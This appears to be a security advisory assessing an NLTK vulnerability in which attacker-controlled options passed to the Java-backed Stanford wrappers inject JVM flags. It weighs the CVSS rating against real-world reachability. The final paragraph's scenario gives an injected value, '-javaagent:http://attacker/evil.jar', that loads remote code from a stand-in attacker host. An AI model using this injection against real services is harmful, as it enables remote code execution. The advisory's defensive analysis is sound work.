NLTK CVE-2026-79675

Exploitation requires that the target application invoke NLTK's Java-backed Stanford wrapper classes (StanfordTagger/StanfordParser/CoreNLP integrations that call nltk.internals.java()) AND that an attacker be able to control the per-call options parameter passed to that function, with a working Java runtime installed on the host. The concrete injected payloads are JVM flags such as -agentpath, -javaagent, or @argfile. Limiting factors: the vulnerable java()/Stanford wrapper path is a legacy, optional feature not used by most NLTK deployments, and if the application never routes untrusted input into the options parameter the flaw is not reachable despite the PR:N/UI:N CVSS rating; a JVM must also be present for the injected flags to take effect.

The published CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, score 9.3) rates this as network-reachable, low-complexity, unauthenticated RCE, which is the theoretical ceiling. In practice the risk is materially gated by a data-flow precondition not captured by base metrics: an application must both use the deprecated java()/Stanford wrapper code path AND route attacker-controllable data into the per-call options parameter. Where that data flow exists (e.g., an NLP service that forwards user-supplied tuning options), exploitation is straightforward and high-impact; where it does not, the vulnerability is not reachable at all. No EPSS score, KEV entry, POC, or SSVC decision data was provided, so exploitation-probability signals are absent - the assessment rests on the CVSS vector, the description, and the VulnCheck advisory. Bottom line: a genuinely serious RCE class in a ubiquitous library, but real-world exposure is concentrated in the minority of deployments that invoke the Java-backed Stanford wrappers with externally influenced options rather than being broadly automatable across all NLTK installs.

An NLP web service uses NLTK's Stanford tagger and lets clients pass optional tuning flags that are forwarded into the java() options parameter. An attacker submits an option value containing -javaagent:http://attacker/evil.jar (or -agentpath to a planted native library), which the JVM loads at startup, executing attacker code with the service's privileges. No public POC has been identified at time of analysis, but the low attack complexity makes exploitation trivial once such a data flow exists.